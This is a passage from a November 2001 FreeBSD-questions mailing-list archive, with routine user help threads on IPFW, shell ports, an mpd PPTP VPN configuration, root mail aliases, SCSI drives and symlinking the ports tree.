231 Systems Administrator Fax: 302-239-3909 > > MAGPAGE, We Power the Internet WWW: =20 http://www.magpage.com/ >=20 > "They that can give up essential liberty to obtain a little > temporary safety deserve neither liberty nor safety." > - Benjamin Franklin, Historical Review of Pennsylvania, > 1759. =20 >=20 >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >=20 _ _ =20 (_)-(_) =20 (o o) =20 ooO--(_)--Ooo- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQEVAwUBO/qefpXw4bNLLNrbAQFY2gf+J8e62Lq+fsKD8cjXA2pXySuaMFhewodC oET7+ljTUVtO1bwo+e3nOGO4sK3Xak+O/cm0udXAJWee7VEcy+btHPmn3MS2Tph9 J8kzH3Vb/Zdm/yDq/M4g8Bwai7pZFvn4bKxLX9DdT0Bi9Rvh+N4r4FgIp59RKGiV WNcuV7VxIDtbSzZI68gmhjLhHwCUBOnmdSFTMm2bZP7cRnXcS5h6AWpRWJNKfe+N kHYaZK+P9j6hE0/9SPKxJNzUuh39SFXg3f6vGkKZhwn/uEV8cJ0JBrxpigzMAXHh rVz5qe2J7obvjQaGPZ+3gQb7+XIjRb3wuO4LHGBjKHHqgmdRhu0bMQ=3D=3D =3DASST -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:19:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axl.seasidesoftware.co.za (axl.seasidesoftware.co.za [196.31.7.201]) by hub.freebsd.org (Postfix) with ESMTP id E942F37B41D for ; Tue, 20 Nov 2001 10:19:21 -0800 (PST) Received: from sheldonh (helo=axl.seasidesoftware.co.za) by axl.seasidesoftware.co.za with local-esmtp (Exim 3.33 #1) id 166FVg-0001Gk-00 for freebsd-questions@FreeBSD.org; Tue, 20 Nov 2001 20:20:40 +0200 From: Sheldon Hearn To: freebsd-questions@FreeBSD.org Subject: Specififying IPFW unpriveleged port ranges with a mask Date: Tue, 20 Nov 2001 20:20:40 +0200 Message-ID: <4881.1006280440@axl.seasidesoftware.co.za> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi folks, How do I use IPFW's port:mask syntax to specify non-priveleged ports? Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:20:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from locust.minder.net (locust.minder.net [216.254.113.229]) by hub.freebsd.org (Postfix) with ESMTP id BBE6337B405 for ; Tue, 20 Nov 2001 10:20:09 -0800 (PST) Received: from waste.minder.net (bmm@waste [216.254.113.23]) by locust.minder.net (8.11.6/8.11.6) with ESMTP id fAKIK8859758; Tue, 20 Nov 2001 13:20:08 -0500 (EST) (envelope-from bmm@minder.net) Received: (from bmm@localhost) by waste.minder.net (8.9.3/8.9.3) id NAA07334; Tue, 20 Nov 2001 13:20:08 -0500 Date: Tue, 20 Nov 2001 13:20:08 -0500 From: Brian Minder To: Joe.Warner@smed.com Cc: freebsd-questions@freebsd.org Subject: Re: /usr/ports/shells/ksh93 Message-ID: <20011120132008.A7025@waste.minder.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joe.Warner@smed.com on Tue, Nov 20, 2001 at 08:31:27AM -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Another ksh implementation is pdksh. From /usr/ports/shells/pdksh/pkg-descr: -- PDKSH is the Public Domain Korn Shell. Its command language is a superset of the sh(1) shell language. WWW: http://www.cs.mun.ca/~michael/pdksh/ -- Thanks, -Brian -- bmm@minder.net 1024/8C7C4DE9 On Tue, Nov 20, 2001 at 08:31:27AM -0700, Joe.Warner@smed.com wrote: > > I'm running FreeBSD 4.4-STABLE in a > production environment and need to install > an application for our intranet > but it's install script is written for #!/bin/ksh > > After checking /etc/shells and noticing that I > didn't have ksh installed, I tried to install it via > /usr/ports/shells/ksh93 but it errored out at the > end saying I needed to download the port > manually and place it in /usr/ports/distfiles > > http://www.freebsd.org/cgi/pds.cgi?ports/shells/ksh93 > references INIT.2001-07-04.0000.tgz and > ast-ksh.2001-07-04.0000.tgz but when I click > on those links it comes back saying "The page > cannot be found". Additionally, when I search > for these files at http://www.research.att.com/ > I can't find them. > > Obviously, this port is outdated. Does anyone know > which snapshot from www.research.att.com will work > and how I should modify the Makefile so that it installs > properly (especially during the patch phase) ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:22:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f8.law3.hotmail.com [209.185.241.8]) by hub.freebsd.org (Postfix) with ESMTP id 2579537B405; Tue, 20 Nov 2001 10:21:55 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 10:21:55 -0800 Received: from 213.225.121.41 by lw3fd.law3.hotmail.msn.com with HTTP; Tue, 20 Nov 2001 18:21:54 GMT X-Originating-IP: [213.225.121.41] From: "Thor Legvold" To: freebsd-net@freebsd.org Cc: freebsd-questions@freebsd.org Subject: vpn with mpd-netgraph, 4.4-STABLE Date: Tue, 20 Nov 2001 18:21:54 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 20 Nov 2001 18:21:55.0099 (UTC) FILETIME=[3BB67EB0:01C171F0] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm trying to get mpd-netgraph to work so that I can log in to my ISP that uses PPTP VPN software. I'e read the docs, writen a config file, but it doesn't seem to be able to connect (or I think it connects, but doesn't negotiate/authenticate). Stranger still is that when running mpd from the command line and loading a bundle I get error messages like: set pptp mode: unknown command. Try "help". [myisp_bundle] using interface ng0 mpd: option "mppc" unknown [myisp_bundle:myisp_link] set pptp mode active is in the docs, as is option mppc! I imagine my config files are incorrect, but never using pptp/netgraph/mpd before and not understanding the underlying paradigm, I have no idea where I should start looking. I'm not even sure I'm using the right software for what I want to do, although several deja searches and posts both here and to questions resulted in no answers. I'm running 4.4-STABLE, have a dual home host with ipfw and natd running. My home LAN is on 192.168.128.0 and my ISP is on 10.10.2.0, their VPN server on 10.10.1.1. I get an IP via DHCP from them (10.10.2.0 range), conenct to VPN server to get a routable IP from a pool of dynamically adressable addresses, then I should be online. However I haven't gotten it to work. LAN/inside is on dc0, outside is on wi0 (Lucent). Here's a transcript of the connection attempt: [myisp_bundle:myisp_link] open [myisp_bundle] IFACE: Open event [myisp_bundle] IPCP: Open event [myisp_bundle] IPCP: state change Initial --> Starting [myisp_bundle] IPCP: LayerStart [myisp_bundle:myisp_link] [myisp_bundle] bundle: OPEN event in state CLOSED [myisp_bundle] opening link "myisp_link"... [myisp_link] link: OPEN event [myisp_link] LCP: Open event [myisp_link] LCP: state change Initial --> Starting [myisp_link] LCP: LayerStart [myisp_link] device: OPEN event in state DOWN pptp0: connecting to 10.10.1.1:1723 [myisp_link] device is now in state OPENING pptp0: connected to 10.10.1.1:1723 pptp0: attached to connection with 10.10.1.1:1723 pptp0-0: outgoing call connected at 64000 bps [myisp_link] PPTP call successful [myisp_link] device: UP event in state OPENING [myisp_link] device is now in state UP [myisp_link] link: UP event [myisp_link] link: origination is local [myisp_link] LCP: Up event [myisp_link] LCP: state change Starting --> Req-Sent [myisp_link] LCP: phase shift DEAD --> ESTABLISH [myisp_link] LCP: SendConfigReq #1 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #2 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #3 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #4 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #5 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #6 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #7 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #8 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #9 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #10 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM 95c7bf8b AUTHPROTO CHAP MSOFT [myisp_link] LCP: state change Req-Sent --> Stopped [myisp_link] LCP: LayerFinish [myisp_link] LCP: parameter negotiation failed [myisp_link] LCP: LayerFinish [myisp_link] device: CLOSE event in state UP pptp0-0: clearing call [myisp_link] device is now in state CLOSING [myisp_link] device: CLOSE event in state CLOSING [myisp_link] device is now in state CLOSING [myisp_link] device: DOWN event in state CLOSING [myisp_link] device is now in state DOWN [myisp_link] link: DOWN event [myisp_link] LCP: Down event [myisp_link] LCP: state change Stopped --> Starting [myisp_link] LCP: phase shift ESTABLISH --> DEAD [myisp_link] LCP: LayerStart [myisp_link] device: OPEN event in state DOWN [myisp_link] pausing 9 seconds before open [myisp_link] device is now in state DOWN [myisp_link] device: OPEN event in state DOWN [myisp_link] device is now in state DOWN pptp0-0: peer call disconnected res=disconnect request err=none pptp0-0: killing channel pptp0: closing connection with 10.10.1.1:1723 pptp0: ctrl connection closed by peer pptp0: killing connection with 10.10.1.1:1723 [myisp_link] device: OPEN event in state DOWN pptp0: connecting to 10.10.1.1:1723 [myisp_link] device is now in state OPENING pptp0: connected to 10.10.1.1:1723 pptp0: attached to connection with 10.10.1.1:1723 pptp0-0: outgoing call connected at 64000 bps [myisp_link] PPTP call successful [myisp_link] device: UP event in state OPENING [myisp_link] device is now in state UP [myisp_link] link: UP event [myisp_link] link: origination is local [myisp_link] LCP: Up event [myisp_link] LCP: state change Starting --> Req-Sent [myisp_link] LCP: phase shift DEAD --> ESTABLISH [myisp_link] LCP: SendConfigReq #11 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #12 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #13 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #14 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #15 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #16 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #17 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #18 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #19 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: SendConfigReq #20 ACFCOMP PROTOCOMP MRU 1500 MAGICNUM a6eb13db AUTHPROTO CHAP MSOFT [myisp_link] LCP: state change Req-Sent --> Stopped [myisp_link] LCP: LayerFinish [myisp_link] LCP: parameter negotiation failed [myisp_link] LCP: LayerFinish [myisp_link] device: CLOSE event in state UP pptp0-0: clearing call [myisp_link] device is now in state CLOSING [myisp_link] device: CLOSE event in state CLOSING [myisp_link] device is now in state CLOSING [myisp_link] device: DOWN event in state CLOSING [myisp_link] device is now in state DOWN [myisp_link] link: DOWN event [myisp_link] LCP: Down event [myisp_link] LCP: state change Stopped --> Starting [myisp_link] LCP: phase shift ESTABLISH --> DEAD [myisp_link] LCP: LayerStart [myisp_link] giving up after 1 connection attempts [myisp_link] LCP: Close event [myisp_link] LCP: state change Starting --> Initial [myisp_link] LCP: LayerFinish [myisp_bundle] closing link "myisp_link"... [myisp_bundle] IPCP: Close event [myisp_bundle] IPCP: state change Starting --> Initial [myisp_bundle] IPCP: LayerFinish [myisp_bundle] bundle: CLOSE event in state OPENED [myisp_link] link: CLOSE event [myisp_link] LCP: Close event [myisp_link] device: OPEN event in state DOWN [myisp_link] pausing 9 seconds before open [myisp_link] device is now in state DOWN [myisp_link] device: CLOSE event in state DOWN [myisp_link] device is now in state DOWN pptp0-0: peer call disconnected res=disconnect request err=none pptp0-0: killing channel pptp0: closing connection with 10.10.1.1:1723 pptp0: ctrl connection closed by peer pptp0: killing connection with 10.10.1.1:1723 [myisp_bundle:myisp_link] Here's my mpd.conf (in /usr/local/etc/mpd as /etc/ppp didn't seem to work): # # mpd.conf configuration file # myisp_test: new -i ng0 myisp_bundle myisp_link set iface disable on-demand set bundle disable multilink set bundle authname "mylogin" set link max-redial 1 set link yes pap set link yes chap set link no mppc set link disable no-orig-auth set ipcp ranges 0.0.0.0 213.225.121.0/0 set iface route default And here's my mpd.links file: # # mpd.links configuration file # # myisp via pptp myisp_link: set link type pptp set pptp mode active set pptp peer 10.10.1.1 set pptp enable originate outcall The ISP runs the PPTP VPR server on Linux, prefers that we use CHAP but support both CHAP and PAP. I've tried both in the setup, without luck. I suppose my problem lies elsewhere. Hope someone can point me in the right direction. Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:27:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sploot.vicor-nb.com (sploot.vicor-nb.com [208.206.78.81]) by hub.freebsd.org (Postfix) with ESMTP id 5D64937B405 for ; Tue, 20 Nov 2001 10:27:09 -0800 (PST) Received: from vicor-nb.com (localhost [127.0.0.1]) by sploot.vicor-nb.com (8.11.6/8.11.6) with ESMTP id fAKIP0I27317; Tue, 20 Nov 2001 10:25:00 -0800 (PST) (envelope-from kmarx@vicor-nb.com) Message-ID: <3BFA9FFC.13771896@vicor-nb.com> Date: Tue, 20 Nov 2001 10:25:00 -0800 From: Ken Marx X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: "f.johan.beisser" Cc: "freebsd-questions@FreeBSD.ORG" Subject: Re: killall ? References: <20011120095310.P16958-100000@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Someone here just pointed out to me that the sysutils/psmisc package includes a killall, etc. That's likely my problem. Thanks for your reply, sorry for intrusion... k. "f.johan.beisser" wrote: > > On Tue, 20 Nov 2001, Ken Marx wrote: > > > 1. /usr/local/bin/killall: no -s, doesn't match source > > 2. /usr/bin/killall: supports -s, matches source > > > > Is there some good reason for this? > > Maybe could be cleaned up someday? > > i've got a clean install of 4.4-RELEASE, with no killall in > /usr/local/bin. since the freebsd source tree doesn't have anything that > actually builds in to /usr/local/ (let alone, touches that directory) i > doubt your extra binary is compiled on FreeBSD. -- Ken Marx, kmarx@vicor-nb.com This group must improve our denominator as well as our numerator - with an emphasis on the denominator - and keep the faith regarding the industry's convergence. - http://cgi.bigshed.com/~kmarx/cgi-bin/speak.cgi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:27:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from operamail.com (operamail.infinite.com [199.29.68.126]) by hub.freebsd.org (Postfix) with ESMTP id 70AFE37B416 for ; Tue, 20 Nov 2001 10:27:25 -0800 (PST) Received: from bro5637 [206.191.70.3] (hogtown@operamail.com) by operamail.com; Tue, 20 Nov 2001 13:27:24 -0500 X-WM-Posted-At: operamail.com; Tue, 20 Nov 01 13:27:24 -0500 Message-ID: <004b01c171f1$9affd8c0$660f129f@bro5637> From: "Steve Brown" To: "Daniel Frazier" , References: <20011120074229.X51617-100000@malkav.snowmoon.com> <000301c171ed$54c26b60$660f129f@bro5637> <3BFA9A9E.7060904@magpage.com> Subject: Re: Security Question. Date: Tue, 20 Nov 2001 13:31:40 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hey that was quick, thanks! Thought I'd need procmail for this task... Cheers, Steve ----- Original Message ----- From: "Daniel Frazier" To: "Steve Brown" Cc: "Jaime" ; Sent: November 20, 2001 1:02 PM Subject: Re: Security Question. > Steve Brown wrote: > > > > > (You are forwarding root's email to your regular account, right?) > > > > > > I'd do that but I've not been able to figure out how. Can you > > help? I'm using a more or less default install of FreeBSD4.4-RELEASE (i386) > > with sendmail. > > > > Thanks, Steve > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > read /etc/aliases (actually a symlink to /etc/mail/aliases). You want > to uncomment the line that applies to root and replace the sample > email addy with yours. > > -- > ---------------------------------------------------------------------- > Daniel Frazier Tel: 302-239-5900 Ext. 231 > Systems Administrator Fax: 302-239-3909 > MAGPAGE, We Power the Internet WWW: http://www.magpage.com/ > > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." > - Benjamin Franklin, Historical Review of Pennsylvania, 1759. > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:41:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from florida-wireless.com (mailserver.florida-wireless.com [208.62.145.34]) by hub.freebsd.org (Postfix) with ESMTP id 4D3D037B416 for ; Tue, 20 Nov 2001 10:41:31 -0800 (PST) Date: Tue, 20 Nov 2001 13:44:49 -0500 Message-Id: <200111201344.AA1872101508@florida-wireless.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: "brain_damaged" Reply-To: To: "freebsd-questions" Subject: getting 4.4 on the floppy boot install X-Mailer: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I went to the freebsd.org site. clicked on the installation guide, then advance install. clicked on floppies. it says : FTP Directory: ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.4-RELEASE/floppies/ but when booting up uname -a says 4-3 ? were is the 4-4 then ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:42: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lv.raad.tartu.ee (lv.raad.tartu.ee [194.126.106.110]) by hub.freebsd.org (Postfix) with ESMTP id A1FEE37B418 for ; Tue, 20 Nov 2001 10:41:59 -0800 (PST) Received: Message by Barricade lv.raad.tartu.ee with ESMTP id fAKIfwa31402; Tue, 20 Nov 2001 20:41:58 +0200 Message-Id: <200111201841.fAKIfwa31402@lv.raad.tartu.ee> Received: from SpoolDir by INFO (Mercury 1.48); 20 Nov 01 20:41:12 +0200 From: "Toomas Aas" Organization: Tartu City Government To: questions@FreeBSD.ORG, "Charles Burns" Date: Tue, 20 Nov 2001 20:41:08 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Recommended SCSI harddrives In-reply-to: X-info: Headers changed by Barricade Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Charles! On 20 Nov 01 at 1:01 you wrote: > I have read about some Quantum drives from Storagereview.com, but I have > never used a Quantum drive of any kind, ever, and remember only bad memories > of fixing systems with those crappy Bigfoot drives. > How are Quantum's SCSI drives? During last 5 years or so, I've had a grand total of 3 SCSI drives die on me. Two of them were Western Digital, one was Quantum. I don't think I'll be buying any more Quantum SCSI drives soon. Especially after Quantum was purchased by Maxtor (one of my least favourite HD manufacturers). > I was looking at IBM as well, but I have lost trust in them after their > 75GXP drive, which is roughly as reliable as Windows 95. Are their SCSI > drives better? Sure their new IDE drives have horrible track record, but I've had only good experience with their SCSI drives. I have a total of 15 IBM SCSI drives running in my servers right now and they all hum along just fine - the oldest are going their third year, the newest are from this year. I guess if I had to buy SCSI hard disk today, I'd still choose IBM. The production processes of IDE and SCSI disks should be distinct enough so that the SCSI drives don't get "infected" with the problems of current IDE drives. That's just my guess, though, so please take it for what it's worth. -- Toomas Aas | toomas.aas@raad.tartu.ee | http://www.raad.tartu.ee/~toomas/ * I am Pentium of Borg! Division is futile! You will be approximated! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:42:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from syndicate.tek-shop.com (tek-shop.com [63.206.17.223]) by hub.freebsd.org (Postfix) with ESMTP id 8018E37B405 for ; Tue, 20 Nov 2001 10:42:34 -0800 (PST) Received: from there (adsl-64-160-145-191.dsl.lsan03.pacbell.net [64.160.145.191]) by syndicate.tek-shop.com (8.11.5/8.11.5) with SMTP id fAKIgW935286 for ; Tue, 20 Nov 2001 10:42:33 -0800 (PST) (envelope-from eric@tek-shop.com) Message-Id: <200111201842.fAKIgW935286@syndicate.tek-shop.com> Content-Type: text/plain; charset="iso-8859-1" From: Eric Reply-To: eric@tek-shop.com Organization: TekShop To: freebsd-questions@freebsd.org Subject: pdf print server Date: Tue, 20 Nov 2001 10:37:57 -0800 X-Mailer: KMail [version 1.3] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm trying to set up a printer server for Mac, windows, and BSD clients to print to. In conjunction with our web server, I'd like users of the web site to click little buttons that tell the server to print a file (mostly pdf's). This seems easy enough with cgi/perl/shell scripts, but I don't know of a program that can decode and print a pdf besides Acrobat, which means I'd have to install linux base and X windows just to keep Acrobat happy. Anybody know of a simple command line program that can take a pdf and print it?? Thanks Eric www.tek-shop.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:52:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from florida-wireless.com (mailserver.florida-wireless.com [208.62.145.34]) by hub.freebsd.org (Postfix) with ESMTP id 87CC737B416 for ; Tue, 20 Nov 2001 10:52:11 -0800 (PST) Date: Tue, 20 Nov 2001 13:55:30 -0500 Message-Id: <200111201355.AA2065825924@florida-wireless.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: "brain_damaged" Reply-To: To: Subject: linking question X-Mailer: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have a 12gig drive as /home and was suggested i link data and such to that drive. I am not quite sure I have a handle on how to do it. I do know it confuses the hell out of me when I cd to one directory then when i go up a directory I am not even were I thought I was. I want to d/l the ports collection. That goes to /usr/ports. That drive is 4 gigs. So I want to put in on the 12gigger with the /home slice. do I do a ln -s /usr/ports /home/ports ? then when I cd to /usr/ports I really go to /home/ports ?? I'm so confusssseeeeedddddddd. Okay getting a gripe. thanks MD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11: 1: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fremont.bolingbroke.com (adsl-216-102-90-210.dsl.snfc21.pacbell.net [216.102.90.210]) by hub.freebsd.org (Postfix) with ESMTP id CFD9F37B405 for ; Tue, 20 Nov 2001 11:01:00 -0800 (PST) Received: from fremont.bolingbroke.com (fremont.bolingbroke.com [216.102.90.210]) by fremont.bolingbroke.com (8.12.1/8.12.1) with ESMTP id fAKJ0o20068975; Tue, 20 Nov 2001 11:00:50 -0800 (PST) Date: Tue, 20 Nov 2001 11:00:50 -0800 (PST) From: Ken Bolingbroke To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: home pc use In-Reply-To: <006901c171c0$a9f5c3c0$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Anthony Atkielski wrote: > The likelihood of a hardware problem is far too low to justify such > extreme measures. Problems like this are almost invariably software > bugs. The problem I see is that you really haven't tried enough to make such a determination. As Ceri noted earlier in this thread, you're making sweeping generalizations on the basis of your limited experience, such as condemning KDE because it crashed on you. I find your arguments most uncompelling, because my primary desktop machine right here running KDE has an uptime in excess of 6 months. I use it for Netscape, gaim, mail, news, a couple GUI games, and a ton of terminal windows. In all of this time, I restarted KDE _once_ for an upgrade. Netscape, being the crappy piece of software it is, crashes regularly, but those crashes have no effect on KDE or the rest of the system, unlike Windows, where one or more application crashes will take down the whole system. For me, KDE runs rock solid. Contrast this to my Windows NT work desktop, where I had to pre-emptively reboot at least twice weekly so NT doesn't crap out on me in the middle of whatever work I'm doing, and I was essentially running the same set of applications, Netscape, AIM, and a bunch of ssh windows, but no games. Now, I sympathize with your poor experience on the UNIX GUI, but you might tone down the sweeping generalizations, as your own experience hardly proves to be the rule. Ken Bolingbroke hacker@bolingbroke.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:12: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from malkav.snowmoon.com (malkav.snowmoon.com [209.23.60.62]) by hub.freebsd.org (Postfix) with SMTP id 7B49137B416 for ; Tue, 20 Nov 2001 11:11:55 -0800 (PST) Received: (qmail 53201 invoked from network); 20 Nov 2001 19:05:09 -0000 Received: from localhost.snowmoon.com (HELO localhost) (127.0.0.1) by localhost.snowmoon.com with SMTP; 20 Nov 2001 19:05:09 -0000 Date: Tue, 20 Nov 2001 14:05:09 -0500 (EST) From: jaime@snowmoon.com To: Steve Brown Cc: questions@freebsd.org Subject: Re: Security Question. In-Reply-To: <000301c171ed$54c26b60$660f129f@bro5637> Message-ID: <20011120140256.I53181-100000@malkav.snowmoon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Steve Brown wrote: > I'd do that but I've not been able to figure out how. Can you > help? I'm using a more or less default install of FreeBSD4.4-RELEASE (i386) > with sendmail. Its pretty easy, once you know how. Edit the file /etc/mail/aliases. Its a pretty self-explanatory file. Lines beginning with # are ignored. Once you're done, save the file and type "newaliases" from the prompt. Do all of this while logged in as root or while using su. (Using su is generally the better idea, BTW.) That's it. Send an email to root to test your work. Jaime To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:22:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id B610837B421 for ; Tue, 20 Nov 2001 11:22:42 -0800 (PST) Received: from hades.hell.gr (patr530-a237.otenet.gr [212.205.215.237]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAKJMco20743; Tue, 20 Nov 2001 21:22:38 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAK9dU802144; Tue, 20 Nov 2001 11:39:30 +0200 (EET) 